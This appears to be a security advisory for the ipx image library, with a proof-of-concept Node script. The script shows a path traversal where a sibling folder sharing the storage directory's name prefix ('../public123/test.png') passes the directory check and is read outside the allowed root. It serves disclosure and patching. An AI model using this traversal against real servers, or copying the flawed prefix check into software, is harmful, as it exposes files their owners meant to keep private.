IPX Allows Path Traversal via Prefix Matching Bypass

mkdir ~/public123
move a png file under ~/public123 with name test.png
cd
npm i ipx

import { createIPX, ipxFSStorage } from "ipx";

const ipx = createIPX({
  storage: ipxFSStorage({ dir: "./public" }),
});


(async () => { 
    {
        const source = await ipx("../public123/test.png"); // access file outside ./public dir because of same prefix folder
        const { data, format } = await source.process();
        console.log(format) // print image data
    }
    {
        try {
            const source = await ipx("../publi123/test.png"); // forbidden path: the prefix is not the same
            const { data, format } = await source.process();
            console.log(data)
        } catch (err) {
            console.log(err.message) // Forbidden path:
        }

    }

})()